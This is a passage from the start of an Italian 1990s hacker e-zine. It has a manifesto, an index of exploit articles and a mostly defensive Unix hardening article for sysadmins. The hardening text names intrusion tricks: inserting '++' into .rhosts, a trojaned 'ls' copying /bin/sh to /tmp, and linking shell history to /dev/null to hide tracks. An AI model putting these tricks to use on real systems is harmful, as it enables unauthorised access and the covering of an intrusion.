$$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$ $$$$$$$ $$$$$$$$$$$$$$$$$$$$$ $$$$$$$ $$$$$$$$$$$$$$$$$$$ 'eXtreme $$$$$$$ $$$$$$$$$$$$$$$$$$$ Junkie' $$$$$$$ $$$$$$$$$$$$$$$$$$$ '99' $$$$$$$ $$$$$$$$$$$$$$$$$$$ $$$$$$$ $$$$$$$$$$$$$$$$$$$ $$$$$$ $$$$$$$ $$$$$$$$$$$$$$$$$$$$$ $$$$$$ $$$$$$$ $$$$$$$$$$ $$$$$$$$$$ $$$$$$$ $$$$$$$ $$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$ $$ $$$$$$$$$$$$$$$$ $$ $$$$$$$$$$ $$$$$$$$$$ $$ $$$$$$$$$$$$$$ $$ -------------------------------------------------------------------- - LA NUOVA E MITICA E-ZINE DI T0RMENT0 - -------------------------------------------------------------------- * LA VITA CI RISERVA POCO, PERSONE CI ODIANO, LO STATO TENTA DI * * ALLONTANARCI, LA SICUREZZA AUMENTA MA CON ESSA AUMENTANO ANCHE * * I MODI DI FARE HACKING, TUTTI CREDONO DI POTER ESSERE DEGLI * * HACKER SOLO PERCHE' CONOSCONO NETBUS, MA E' IN QUESTO CONTESTO * * CHE INTERVENGO IO, PERCHE' LA MAGGIOR PARTE DI VOI CREDE CHE * * DIVENTARE HACKER NON COMPORTI NESSUN PERICOLO. CIO' LO PUO' * * AFFERMARE SOLO COLUI CHE SAPRA' I SISTEMI MEGLIO DELLE SUE * * TASCHE, SEGUITE IL MIO CONSIGLIO, STUDIATE, LEGGETE, ESPLORATE, * * PRATICATE IN LOCALE, SERVITEVI DI QUESTO PERIODO PIENO DI E-ZINE * * PER APPROFONDIRE MEGLIO QUEST'ARTE, DOPO TUTTO QUESTO * * SARETE DIVENTATI NEWBIES, NON HACKER! HACKER, CI SI DIVENTA * * DOPO L'ACQUISIZIONE DI ESPERIENZA. * ******************************************************************** \ INDICE / / \ \ 1 - INTRODUZIONE / / 2 - COSA CI STA OFFRENDO L'UNDERGROUND \ \ 3 - SYSADMIN VS HACKER 1-0 / / 4 - CGI: SCRIPT E TEORIA \ \ 5 - SMURF, COSA SONO / / 6 - PORT SURFING \ \ 7 - PICCOLO BUG DI mIRC / / 8 - BUG DI SENDMAIL 8.9.2 \ \ 9 - BUFFER OVERFLOW DELLA BASH SHELL / / 10 - GUIDA ALL'IRCWAR (PRIMA PARTE) \ \ 11 - SU COSA SI BASA L'SSPING ATTACK ? / / 12 - PING: MACCHINA DA GUERRA \ \ 13 - TRACEROUTE COME FLOODER / / 14 - CONSEAL FIREWALL: RULES E DESTRUCTION \ \ 15 - DOS X KERNEL 2.2 / / 16 - BOXAGGIO: TUTTI I COLORI \ \ 17 - VAI AVANTI TU CHE A ME VIEN DA RIDERE / / 18 - COCABUTON: YES! \ \ 19 - FINE / / \ ******************************************************************** ############################################################################## INTRODUZIONE (IL COME, IL PERCHE',IL QUANDO, IL DOVE) Sono sicuro che quasi la maggior parte di voi quando vedra' questa e-zine rimarra' sorpreso. Ehi se, ce l'ho fatta anch'io. Solo che secondo me non giovera' nessuno visto la marea di e-zine che ci fruttua questo periodo. Ho tentato di mettere insieme quel poco che ho appreso, sia da testi inglesi, sia da manuali che ho letto man mano; beh, e' logico che si baseranno anche sulla mia esperienza personale. Consideratevi fortunati, perche' se e' vero che da un lato c'e' un casino di roba in giro, dall'altro nessuno ve lo spiega come ve lo spiego io ;) Piu' che una e-zine io la definirei una raccolta di exploit, visto che la maggior parte degli articoli tratta bug. L'unico articolo che parla di phreaking e' "Boxaggio: tutti i colori". Questo non e' un vero e' proprio articolo ma e' una raccolta di tutti i tipi di box dalla A alla Z, dove in ogni numero di XJ ve ne presentero' 4 sperando in una loro utilita'. Se ci fate caso la blue box non e' presente; dedichero' un articolo interamente ad essa. Vi racconto il motivo di questa uscita: ho pensato che, rivolgendomi a dei lettori principianti, le persone siano stanche di trovare articoli troppo tecnici o exploit in C che sono messi li' senza nemmeno una spiegazione. Il mio pensiero e' appunto di produrre e spiegare qualcosa di difficile con parole e metodi facili. L'unico problema e' che l'ho scritta quasi tutta in linux usando pico(ehm), e se l'impaginazione non va bene sotto windows, passate a linux!!! Dopo questa breve intro, vado avanti con gli articoli! ############################################################################## COSA CI STA OFFRENDO L'UNDERGROUND ITALIANO In questo periodo all'underground italiano si stanno unendo molti gruppi di hacker, phreaker, cracker ecc ed e' per questo motivo che mi vedo l'animo risollevato, visto che la nascita di nuovi gruppi comporta ad una posizione piu' alta rispetto a quando si trovava prima l'Italia. Con questo non voglio criticare i primi gruppi come SystemDown ecc., anzi li ammiro molto visto che sono stati i primi gruppi in questa schifo di nazione a venire con la testa fuori. Infatti credo che questa formazione di gruppi e gruppetti dipendi proprio da loro che hanno iniziato per primi. Non so quanti di voi se ne sono accorti, ma io scrivo anche per NewBies. Il perche' di cio'? Visto che loro si sforzano per indicare al newbies la strada da prendere per diventare hacker, io sono pienamente daccordo al loro pensiero. Pero' ricordatevi bene che newbies non e' colui che attacca un sito attraverso un expoit, e non sa nemmeno minimamente cosa faccia quell'exploit. Il newbies prima di usare un prog che sfrutta un bug, si informa meglio sulle funzioni del prog e tutti i passi che compie per buggare quel server. Vorreste capire meglio il listato in C del programma ma non sapete nulla del C? Bene, sapete come l'ho imparato io il C ? Prima cosa guardando i listati, seconda cosa ho comprato un libro sulla programmazione dei socket e terza cosa modificando alcune cose per vedere cosa cambiava. Se avete passione e molta voglia di imparare, non vi diverra' difficile imparare il C, uno dei linguaggi base per imparare l'hacking. Ok, credo che basti per avervi fatto capire che tipo sono. Sono lo stesso che l'anno scorso fece la hackernovello homepage, solo che da allora mi ritengo molto maturato perche' la mia voglia di apprendere l'hacking cresce sempre. Anzi a guardarla meglio quella pagina la definirei lamer, solo che tra i newbies ha riscosso molto successo, tant'e' che da allora ho ricevuto 350 e-mail, ;p . Io parlo di hacking, mentre la Telekom guadagna, quasi quasi ora passo a fare l'operatore telekom, prendo i soldi e non faccio un cazzo. :3 Cmq, la mia era solo una battuta, io se un domani lavorero' alla Telekom, lo faro' solo per scoprire i loro segreti e comunicarveli :P Beh, gia' mi sono dilungato abbastanza, l'ultimo messaggio che vi mando: "Ragionate da hacker, anche se non lo siete, perche' cosi' lo diventerete" (Rime rulez) ############################################################################## ____ | __) ____ ____ _____ ____ | | | ___) || )) (_ _) | __ | | |__ | ___) || (( | | _ _ _ ||__|| |____) |____) || \\ |_| |_| |_| |_| |____| (8--------->SysAdmin Vs Hacker 1-0<---------8) Questo articolo puo' essere letto sia dal sysadmin sia dall'hacker, ognuno ne puo' trarre vantaggio. Esso spiega come rendere il proprio sistema sicuro e come comportarsi in caso di attacco. -Piccola parentesi- Molto tempo fa quando Unix era misconosciuto, si diffondeva tra gli operatori la filosofia di rendere tutto condivisibile ovvero dare il permesso agli altri utenti di vedere i propri file, questo perche' allora il modo di ragionare era diverso da ora. Non rubavano le informazioni altrui o almeno non trovavano il modo di renderle efficaci per i propri progetti, non esisteva la privacy, insomma non avevano la mentalita' hacker cioe' a loro piaceva solo studiare un sistema non scoprire le eventuali falle. Il problema della sicurezza sorse quando Unix divenne piu' grande, ed entro' a pieno titolo nella comunita' commerciale ed i file furono messi a disposizione anche dell'utenza remota. -fine parentesi- Oggigiorno abbiamo bisogno di proteggerci costantemente , i metodi per violare sono diventati davvero parecchi. Un esempio sono i cookie: quando visitiamo un sito che ci fa delle domande prima di seguire o che ha delle determinate applet java e' probabile che abbia rovistato nei nostri preferiti per vedere quali sono i nostri interessi ed attraverso essi mandarci delle e-mail a scopo di lucro. Allora i sysadmin prima di apprendere come gestire una rete dovranno prima apprendere lezioni di hacking. Ebbene si', altrimenti non riuscira' ad intuire quali saranno le prossime mosse dell'hacker. Oltre a gestire il sistema e a mantenere costantemente aggiornato il server, il sysadmin e' anche un hacker che si difende dagli altri hacker. La sicurezza e' affrontata ovunque perche' sono molte le strade da percorrere prima di rendere un sistema sicuro. Ecco una frase che all'inizio puo' sembrare ironica ma dopo vi accorgerete come sia tutto vero: "L'unico sistema sicuro e' quello che non e' collegato ad una rete, viene tenuto in una stanza chiusa a chiave ed e' spento" -Le password Purtroppo da sempre scegliere le passwd sono state un dilemma per il sysadmin. "Cosa uso? T0rment0 o 0tnemr0T ?" Perche' non li usiamo tutti e due? :) Infatti se siete indecisi tra due parole usatele tutte e due pero' stando attenti a mescolare i caratteri minuscoli a quelli maiuscoli. " T0rmEnt00TneMr0T " Potrebbe andare bene, solo che cosi' non c'e' nessun carattere speciale e noi vogliamo rendere il tutto piu' difficile vero? Allora usiamo " ^T0rmEnt0&0TneMr0t^ " Eheh, voglio vede' quando me la indovinate! Ricordatevi che i sistemi moderni utilizzano programmi di generazione password piu' sofisticati. Questi programmi non vi permettono di inserire una password troppo breve, ne' una parola presa dal dizionario, ne una sequenza degli stessi caratteri. Pero' mi raccomando fate in modo che la vostra password fosse qualcosa di facile da ricordare, altrimenti sarete costretti a scriverla su un foglietto, e se quel foglietto capitasse nelle mani sbagliate? I programmi di password crittografano una password, ma poi Unix e Linux le mette in bella mostra nel file /etc/passwd non e' strano? Comunque all'inizio il DES (Data Encryption Standard) era considerato cosi' valido che si credeva in un futuro senza problemi di decifrazione solo che questo ha una pecca: se la gente avrebbe inserito come password nomi, parole del vocabolario, login, le persone per crittografarle dovevano solo inserire in un file tutte le parole ordinate, e confrontarle con tutte quelli presenti sul sistema. Se non si usano parole comuni come quelle di prima sara' un po' difficile scovarle. Pero' purtroppo il DES non e' piu' un buon sistema di crittografia infatti e' stato definito un sistema poco affidabile visto che quelli della EFF hanno costruito una macchina chiamata 'DES Cracker' capace di decifrare qualsiasi parola crittografata con questo sistema. Dopo una conferenza tenutasi a Roma il 22 Marzo di quest'anno, hanno deciso che il prossimo standard crittografico sara' l'AES (Advance Encryption Standard). Comunque vi consiglio di tenervi sempre aggiornati sui nuovi sviluppi, sui metodi di decodifica conosciuti, sugli errori, sul dibattito crittografico che e' in continua evoluzione. Un trucco che potreste pensare per non dimenticare la password e' quello di non cambiarla mai. Errato! Ci sono sempre delle conseguenze e se per caso l'avete data ad un amico fidato con il quale avete litigato... Non dimenticate di attivare il supporto per il file shadow che nel passwd normale inserisce una x al posto della password. Poi le password saranno messe nel file shadow dove la locazione e' decisa da voi ed e' un file che , al contrario del passwd, e' accessibile solo al root. In un file di password generato da un sistema appena installato, non dimenticatevi di annulare quei login che non vi servono, va a finire che uno di quelli non hanno l'asterisco al campo delle password e permettono l'accesso a tutti! Esiste un metodo per permettere ad un utente di collegarsi al server senza l'immissione di password. Consiste nel file .rhosts Il file .rhosts ha un elenco di nomi di sistema e di login che possono eseguire il login senza la password. Questo metodo non e' molto pericoloso dato che controlla direttamente l'ip prima di dare l'accesso a chiunque. Il vantaggio dell' .rhosts e' che l'utente non ha bisogno di immettere la password e quindi se un hacker ha messo uno sniffer sul vostro sistema non avra' mai la vostra passwd! Pero' aspettate prima di esultare: se un hacker riesce ad inserire nel file .rhosts la stringa " ++ " , beh riesce a dare l'accesso a tutti gli ip. Quindi vi consiglio caldamente di controllare spesso il file .rhosts e controllare se ha la stringa " ++ " . Basta che fate un 'grep ++ .rhosts', anzi la miglior cosa e' inserire il controllo nel cron giornaliero. -I Gruppi Il campo UID fornisce tutta la sicurezza sul sistema dopo il login. E' importante non avere due account con lo stesso UID. Dovete stare attenti soprattutto agli UID 0 , che assegna i poteri di root al nome di login. Il numero GID permette a login differenti di lavorare insieme come gruppo. Utilizzando i permessi di gruppo sui file e sulle directory, e' possibile esaminare e accedere a questi file e a queste directory, persino anche quando la proprieta' e' mantenuta da una persona. I gruppi sono contenuti nel file /etc/group ed il file dovrebbe assomigliare a questo: root::0:root bin::1:root,bin,daemon daemon::2:root,bin,daemon sys::3:root,bin,adm adm::4:root,adm,daemon tty::5: disk::6:root lp::7:daemon,lp mem::8: kmem::9: wheel::10:root,T0rment0 dip::40: ftp::50: nobody::99: users::100:T0rment0 T0rment0::500:T0rment0 Il gruppo denominato wheel e' un gruppo speciale che permette a determinati utenti di diventare root o superuser dopo che hanno eseguito il login con il loro account. Questo e' importante, soprattutto per la sicurezza sulla rete. Il penultimo e' dedicato agli utenti e in questo caso sono io (sigh!), l'ultimo e' un gruppo formato solo da me pero' tutti possono stare nel mio gruppo. Comunque se siete voi gli amministratori potrete modificare /etc/group a vostro piacere. -I permessi I sistemi Unix, come ben sapete, hanno una struttura basata su due livelli di permessi. Abbiamo l'utente normale e l'utente superuser (root). Se siete amministratore di sistema potreste avere la tentazione di collegarvi sempre da root. Questo per due motivi: il primo e' che potrete fare qualsiasi operazione e il secondo e' che avrete accesso a tutti i file. E i svantaggi? Beh se volete cancellare i file di una directory e digitate 'rm -rf *' , per sbaglio cancellate un'altra directory tipo la directory /usr/bin, come la mettete? Se nel momento dell'operazione avreste avuto i permessi di utente generale, il sistema in qualche modo vi avrebbe fatto capire cio' che stavate facendo. Dunque ricordatevi: quando dovete fare operazioni importanti collegatevi come root, invece se volete semplicemente navigare in internet o non dovete fare qualcosa di importante, loggatevi come utente normale. L'altro motivo che dovrebbe indurvi a svolgere solo le attivita' piu' importanti com root e' legato alla sicurezza. Infatti esistono trojan che vengono rimpiazzati ai comandi normali dagli hacker, in questo modo mentre voi digitate il vostro 'ls' , in realta' e' un trojan che copia la shell '/bin/sh' in '/tmp/boh' (chissa' che mi ricorda, eheh! ). Infatti il programma (nel 90% dei casi) vi dara' un messaggio di errore, voi lo dovrete eseguire una seconda volta, solo che questa volta andra' tutto bene visto che se lo avrebbe rifatto voi avreste indugiato un attimo. Questo e' buon motivo per eseguire lo stretto necessario da superuser. Un metodo per combattere cio' (se il comando e' stato copiato in una directory non di sistema) e' di non mettere mai un punto nella variabile PATH della vostra shell di root. Infatti il punto serve ad eseguire un comando nella directory attiva senza utilizzate il './' prima del comando. Un'altra tecnica utilizzata dai trojan fa riferimento ai bit di SUID e di GUID impostati ai file. Di solito nei linux odierni il demone pppd e il sendmail, tra gli altri, honno impostato il bit di SUID. Una volta impostato il bit di SUID il programma in esecuzione puo' prendersi i privilegi di root a prescindere da chi e' stato ad eseguirlo. In modo analogo con il bit GUID impostato, il programma puo' commutare l'ID del gruppo in quello del gruppo a cui appartiene e avere tutti i permessi e la capacita' di tale gruppo. Da come avete notato, i bit di SUID e GUID sono molto potenti e dovrebbero essere assegnati solo a programmi gestiti con molta attenzione. Se una persona riesce a scrivere un programma trojan e impostarsi i propri bit di SUID e GUID, ogni volta che il programma viene eseguito puo' facilmente prendersi i permessi. Il metodo migliore per proteggersi e' di controllare periodicamente se sono stati aggiunti file che hanno i bit di SUID e GUID. Un buon metodo per vedere quali file hanno questi bit impostati e' dare un comando dalla shell in questo modo: [toor@T0rment0]# find / -type f -perm +6000 -exec ls -l {} \; | sort >/tmp/suid Vi consiglio di farlo di tanto in tanto, mi raccomando se alcuni file con questi permessi non vi servono, rimuovete i bit SUID e GUID. Anzi vi conviene fare il primo controllo appena vi installate il Linux, mentre dopo averlo fatto la seconda volta (cambiando ovviamente il file di output) date un comando come questo : toor@T0rment0/# diff /tmp/suid /tmp/suid.2 Per vedere quali sono le differenze, e se non vi comunica niente... beh vi e' andata bene! -I log I file di log piu' importanti che dovete esaminare sono '/var/run/utmp', '/var/log/wtmp' e '/var/log/btmp'. Il file utmp mostra chi sta collegato col sistema in quel momento e viene esaminato dal comando 'who' o 'w' . Il file wtmp mostra chi e' riuscito a fare il login a quel sistema e quando il sistema e' stato chiuso, modificato,riavviato, ecc. Il file btmp mostra i tentativi di login non andati a buon fine. Nessuno di questi file dovrebbe essere scrivibile dall'utente generale. Ognuno di questi file e' in un formato che li rende illegibili da comandi come cat o more, e per leggerli avete bisogno dei comandi last e lastb. Il vostro sistema potrebbe avere anche il file '/var/log/secure', che e' un file ASCII che elenca tutti i login non andati a buon fine e le connessioni dai diversi demoni. Infine, il file /var/log/messages/ contiene molti messaggi di tutti i tipi. I segnali che il sistema non va come dovrebbe nel campo della sicurezza sono per esempio un gran numero di login andati a vuoto o un numero consistente di tentativi di diventare root. Inoltre se avete il messaggio dell'ultimo login, esaminatelo e se vedete qualcosa di strano comunicatelo agli altri utenti. -Crittografia Tutte le protezione esaminate riguardano solo i permessi e l'accesibilita' al disco. Si e' parlato di crittografia solo nel file delle password; quella crittografia viene chiamata "crittografia a senso unico" infatti sia quella dopo il login, sia quella fornita dal programma passwd sono crittografate allo stesso modo e vengono usate per vedere se sono identiche. Anni fa, nei sistemi Unix erano presenti comandi utili a crittografare e decrittografare in modo semplice i file, e il loro funzionamento si basava su una tecnica della macchina tedesca Enigma della seconda guerra mondiale. Questa tecnica permetteva agli utenti di scambiarsi il software crittografato molto facilmente, e venne eliminata perche' il governo statunitense non permetteva di esportare software crittografato fuori dal proprio stato. Gia' allora era una causa vana: infatti le persone non avrebbero mai utilizzato quel software con un algoritmo di criptaggio cosi' facile, infatti la gente usava altri software presenti in rete e piu' affidabili. Dunque cio' che fece lo stato americano ebbe un effetto collaterale: le persone si misero in cerca di un software di criptaggio migliore e disponibile gratuitamente. Fu allora che venne inventato il PGP (Pretty Good Privacy), solo che questo software non viene distribuito con le moderne distribuzioni di Unix e Linux, ma basta fare una piccola ricerca per trovarlo. Dunque considero il PGP un metodo sicuro per mandare i propri dati (anche quelli riservati) mediante internet. Per il funzionamento del PGP vi consiglio di fare una ricerca su internet, visto che prima di usare un programma e' meglio se sappiamo cosa fa. -I sistemi in rete Se fino ad ora avete acquisito una certa fiducia con i propri dipendenti o colleghi, se metterete il vostro sistema la perderete. Non mi riferisco agli altri ma all'utenza remota visto che e' sempre un rischio mettere i propri dati accessibili da tutti. Su internet esistono molte persone che cercano di entrare in un server: alcuni lo fanno per divertimento, altri perche' hanno scoperto che il vostro sistema ha un'ampiezza di banda superiore agli altri server hackati da lui, altri lo fanno per trovare eventuali pecche e comunicarvelo. Beh se quest'ultimi lavorano per il CERT, allora lasciateli fare altrimenti tenete sempre d'occhio i vostri log. Il primo passo per comprendere la sicurezza su internet e' capire come funzionano le cose su internet. In genere le applicazioni su internet si dividono in due parti: parte client e una parte server. La prima rimane sul vostro computer e genera messaggi in un protocollo per comunicare su una determinata porta con gli altri sistemi sulla rete. La parte server viene denominata anche demone di rete. In argomento, vi ricordo che esistono anmche gli zombie di Unix (non sono io!) che sono processi figlia morti e non hanno nessun processo genitrice che li attende. Di conseguenza, esistono per sempre finche' qualcuno li aspetta o fino al successivo reboot del sistema. Molti servizi di rete sono forniti con Linux. Questi servizi sono in genere elencati in un fie in '/etc/services'. Dove la prima voce indica il nome del servizio, la seconda e' il numero di porta seguito dal protocollo utilizzato, la terza colonna potrebbe essere il nome dell'alias del servizio o persino una serie di alias. I numeri elencati sotto il 1024 sono le porte che possono essere collegate solo sulla root e quindi su una macchina gestita da un amministratore. Perche' un servizio sia collegato su una porta devono verificarsi due cose: il server deve essere avviato durante il processo di avvio del sistema oppure da un altro demone chiamato 'inetd'. Se esaminate il file '/etc/inetd.conf', potreste vedere delle voci. Queste voci mostrano il nome del servizio, il tipo di socket che utilizza, se il servizio di datagram deve attendere finche' una richiesta non e' stata soddisfatta o puo' continuare ad inviare i pacchetti, il nome dell'utente e il nome e gli argomenti del servizio. Per fornire sicurezza alla rete, potrete inserire un # davanti al servizio nel file '/etc/services' o '/etc/inetd.conf', in modo che diventino dei commenti. Una volta modificati vi bastera' digitare: 'killal -HUP inetd' , che mandera' un segnale di riavvio al processo. I servizi da cui potrete liberarvi sono: gopher e UUCP (ormai con l'avvento del web hanno perso importanza), bootps (utilizzato soprattutto per avviare stazioni di lavoro senza dischi), tftp(che e' simile all'ftp, ma non richiede un login o l'autenticazione ed e', quindi, un po' pericoloso) e rexec (per far avviare applicazioni win da unix), che potete tutti commentarli nel file '/etc/services/' con un #. Quando poi vi serviranno, cancellateci il # Un altro metodo per limitare i servizi ai sistemi esterni e' utilizzare i wrapper sui demoni TCP. Un demone valido e' 'tcpd'. Questo wrapper svolge diverse funzioni quando un servizio viene richiesto. a) Registra un messaggio appropriato in un file di log b) Controllo se il sistema e l'utente che richiedono il servizio hanno il permesso di utilizzarlo c) Controlla se il sistema chiamante e' quello che afferma di essere Dopo aver ricevuto la richiesta iniziale e aver registrato un messaggio in un file di log, il demone 'tcpd' controlla due file : /etc/hosts.allow e /etc/hosts.deny. Se non esistono il controllo dell'accesso viene disattivato. Se non esiste una corrispondenza in entrambi i file, l'accesso viene concesso. Per negare l'accesso a tutti i siti e a tutti i servizi inserite in hosts.allow quanto segue: ALL: ALL Cio' blocca l'acceso a tutti i servizi per tutti i siti. Pero' con questo il sistema diventa inacessibile a chiunque mentre per renderlo accessibile a tutti quelli che hanno il vostro dominio, digitate in hosts.allow : ALL: LOCAL, @T0rment0.urk Oppure per abilitare tutti i servizi e negarne uno (per esempio il finger) digitate quanto segue in hosts.allow : ALL EXCEPT in.fingerd : .tin.it EXCEPT proxy.tin.it Questo fa in modo che il demone 'fingerd' venga negato a tutti gli utenti che stanno su un dominio tipo 'tin.it' eccetto quelli che stanno su dominio 'proxy.tin.it'. Capito? Non e' poi cosi' difficile. Sono disponibili altri metodi per abilitare e disabilitare i servizi con questo pacchetto wrapper. Per ulteriori informazioni, consultate la pagina digitando 'man hosts_access' sotto linux. -I servisi NIS e NFS Il sistema NFS venne sviluppato dalla Sun Microsystems ed e' ora utilizzato nei sistemi Unix e Linux sparsi nel mondo. Questo sistema permette a molti sistemi sulla rete di condividire file ed altre cose in modo trasparente. Per permettere ad un client di montare il proprio filesystem sul suo sistema, il filesystem dovra' essere specificato nel file '/etc/exports'. Ogni voce del file contiene filesystem diversi, l'elenco dei domini che possono accedervi, una serie di permessi di lettura e scrittua e altre opzioni. Purtroppo, il sistema NFS esegue l'autenticazione solo una volta, cioe' quando si monta il filesystem. Dopodiche' lavora con un handle che agisce come una chiave. Un programmatore di sistema competente e' capace di ingannare l'handle oppure di far credere al sistema che il pc con il quale sta comunicando non e' in realta' quello che sta comunicando. Vi consiglio di attivare il sistema NFS solo per la rete locale. Il sistema NFS era stato progettato per far comunicare i vari sistemi con tempi piu' veloci delle normali connessioni internet, quindi questa non e' una vera perdita. La Sun sviluppo' anche servizi come NIS o NIS+ (Network Information Service) noti in precedenza come pagine gialle. Iservizi vennero sviluppati per mantenere una mappa delle informazioni sulla rete.Dato che fanno ancora affidamento ai bit di UID di login, un login che ha due sistemi deve avere lo stesso UID su entrambi. Il sistema NIS fornisce molte informazioni sui diversi sistemi dal server al client, per esempio quelle riportate sotto. a) Il file delle password: lo stesso per tutti i sistemi b) Il file degli host: comprende gli indirizzi internet di tutti i sistemi c) Il file degli alias: comprende i nomi di tutti gli alias che potete utilizzare per assegnare un nome alle cose d) Il file dei gruppi: mostra i nomi dei gruppi di progetto e) Il file dei servizi:mostra tutti i servizi e le porta a loro assegnate In breve il sistema NIS mostra tutto quello che qualunque aggressore ha bisogno di sapere sul vostro sul sistema. Il siste NIS e' disponibile conoscendo il vostro nome di dominio NIS, che e' abbastanza facile da scoprire. Utilizzando il wrapper (visto prima e che e' integrato nelle versione moderne di ypserv), potete controllare l'accesso di rete alle vostre informazioni NIS con lo stesso meccanismo utilizzato per gli altri servizi. Per essere certi che il demone ypserv utilizzi il wrapper TCP, provate a eseguire 'ypserv' con l'opzione '-version' da root. Comunque, non esiste nessun motivo per permettere alle informazioni NIS di andare al di fuori della rete locale. -L' X-Windows X-Windows e' senza dubbio uno dei servizi piu' acclamati di Unix, e potrebbe anch'esso comportare dei rischi per la sicurezza. Ed e' per questo che alcuni utenti preferisco eseguire l' X-Windows come client/server. E' abbastanza facile eseguire il client sul proprio sistema e visualizzarlo sul monitor di un altro sistema. Tuttavia un client malintenzionato potrebbe attaccare il vostro X-Windows, ottenendo o un dump della vostra schermata o alcune informazioni preziose se sono diretti ad un terminale che e' abilitato come root . Anche se X-Windows e' dotato di diversi meccanismi per la sicurezza (uno e' il magic cookie, un altro e' l'xhosts), alcuni utenti potrebbero trovarli difficili da utilizzare. Il sistema piu' semplice da utilizzare e' avere 'xdm' o la schermata di login e password nell'ambiente del desktop. Entrambi utilizzano una tecnica di 'magic cookie' per garantire la sicurezza e non richiedono particolari sforzi. Per avviare 'xdm', eseguite il login come root ed e' attiva la modalita' carattere. Digitate 'xdm'. Venite scollegati dal sistemi, poi 'xdm' avvia il server X e appare una schermata di login. Ora potete collegarvi nel modo consueto e utilizzare l'X-Windows -I firewall E' duro il lavoro di mantenere sicuro il proprio sistema e il sysadmin, oltre che controllare i permessi dei file e se qualcuno sta violando il sistema, deve svolgere altre mansioni. Se in una rete viene lasciato un sistema aperto, si mette a repentaglio l'integrita' di tutta la rete. Ed e per questo che e' stato inventato il concetto di firewall. Un firewall e' un sistema gateway tra internet e la rete locale, ed utilizza diverse tecniche per proteggere la rete locale dal resto. Se l'impostate come gateway per i servizi, questo significa che c'e' un solo sistema che deve pagare il prezzo di una maggiore sicurezza. Il resto della rete puo' rilassarsi, ma non del tutto. Le funzioni del firewall sono: a) Permette solo a determinati servizi di effettuare la connessione b) Permette solo determinate azioni da determinati servizi, chiamati proxy c) Mantiene tutti i sistemi e servizi al minimo per evitare "trappole". Molte delle tecniche illustrate per la sicurezza della rete sono applicate alla macchina firewall. Visto che permette di accedere a tutta la rete, dalla macchina firewall di solito vengono tolti funzionalita' e programmi. Non sono neanche permessi gli account di login (tranne quelli necessari alla gestione della macchina). La manutenzione viene eseguita localmente dalla console della macchina firewall. La macchina firewall in genere ha due controller di rete: un agganciato alla rete interna, l'altro a quella esterna. Di solito viene impostata come router che prende le richieste da internet destinate alla rete locale e le passa alle reti interne. Con un minimo di lavoro di test, la macchina firewall puo' disabilitare le richieste ai servizi. I programmi che svolgono queste funzioni di test e di inoltro, vengono spesso chiamati 'server proxy'. Il sistema client lo vede come server mentre il sistema server lo vede come client. Ecco alcune delle librerie dei toolkit per i firewall proxy. a) TIS FWTK (TIS International Firewalls Toolkit). Questo e' il toolkit piu' famoso ed e' capace di fornirvi il tipo di sicurezza di cui avete bisogno. Lo potete scaricare qui: ftp://ftp.tis.com/pub/firewalls/toolkit b) SOCKS toolkit Questo toolkit serve per i servizi basati su TCP. Lo potete scaricare qui: ftp://coast.cs.purdue.edu/pub/tools/unix/socks c) UDP Packet Realayer Gestisce i servizi basati su UDP. Lo potete scaricare qui: ftp://coast.cs.edu/pub/tools/unix/udprelay-0.2.tar.gz Anche se i firewall possono aiutare a proteggere la rete interna da attacchi esterni, possono talvolta essere difficili da far girare. Esempi: alcune aziende non permettono ai dipendenti di trasmettere i file mediante FTP dall'interno dell'azienda verso un sito esterno per paura che qualcuno possa divulgare i segreti aziendali. Alcune aziende non permettono alle sessioni telnet di penetrare nei firewall, altre non permettono neppure a un server proxy di consentire un accesso efficace a servizi validi. Invece altre permettono l'accesso tramite un firewall con una serie complessa di password e di operazioni di autenticazione. Alcuni di questi metodi utilizzano chiavi generate automaticamente, che sono valide solo per un breve periodo di tempo e vengon generate da un sistema di generazione "black box", in genere trasportato dalla persona che fa il login. Oppure, utilizzando una tecnica denominata tunneling, che crittografa tutti i dati provenienti dal sistema estreno e "scava una galleria" sotto il firewall fino ai sistemi interni. spesso, non esistono programmi client per ogni sistema che un utente potrebbe utilizzare su internet e non esiste un programma client per l'utente. -In caso di attacco La probabilita' di attacco e'proporzionale all'importanza del vostro server. Piu' il server importante piu' e' soggetto agli attachi, ma con cio' non ho detto che i server minori non saranno mai attaccati. In entrambi i casi dovete riconoscere un attacco che si puo' presentare nelle seguenti forme: a) Appaiono nuovi account, che non avete creato voi b) Gli account diventano attivi anche se l'utente e' in ferie c) Cominciano ad apparire file inconsueti nelle directory di sistema e nelle directory degli utenti. d) Le prestazioni del sistema cominciano a diminuire e) Il sistema crasha all'improvviso. f) I file di log scompaiono o hanno delle lacune temporali (quando l'aggressore cerca di coprire le proprie tracce) g) Arrivano lamentele dagli altri siti, che sono attaccati dall'invasore che cerca di far cadere la colpa su di voi Tutti questi segnali o altri impercettibili indicano un'invasione. Talvolta, l'invasore non fa beccare facilmente e cosi' sarete costretti ad esaminare di volta in volta i file di log e di history. Solo che a volte i file di history vengono linkati al file '/dev/null' per cancellare le proprie operazioni; controllate spesso se gli utenti linkano il file di history. Internet vi offre molti programmi che servono per migliorare la sicurezza. Questi, pero', possono essere utilizzati sia da voi che volete trovare eventuali falle del vostro sistema, sia dall'hacker che cerca di entrare nel nostro server. Vediamone alcuni: a) John The Ripper e' un programma utilizzato per decifrare le password. Esso prova centinaia di password note, dal dizionario, o dal campo GECOS del vostro file delle password. b) COPS e' un programma che controlla i permessi dell'intero sistema e vi comunica i rischi di sicurezza. c) SATAN attacca il sistema dall'esterno della rete proprio come farebbe un invasore. Tuttavia al contrario dell'invasore, vi comunica i punti deboli e come corregerli. Esso e' stato scritto dalla stessa persona che ha scritto i programmi del wrapper TCP d) TCPDUMP e' uno sniffer, e stampa il contenuto delle transazioni di rete, il che vi permette di controllare quello che sta succedendo sul vostro sistema. Comunque vi conviene documentarvi molto sulla sicurezza. Parecchie info le trovate nella FAQ CERT-CC dal sito info.cert.org mediante ftp anonimo. Potete anche visitare questa pagina: http://www.first.org.first . Questi documenti non solo vi spiegano come rendere piu' sicuro il vostro sistema ma anche che cosa fare in caso di attacco. Se volete potete anche controllare due newsgroup: a) Comp.security.mix : dove si discutte delle sicurezza in UNIX b) Comp.security.announce : dove sono pubblicate comunicazioni sulle nuove questioni di sicurezza, oltra a patch e pareri 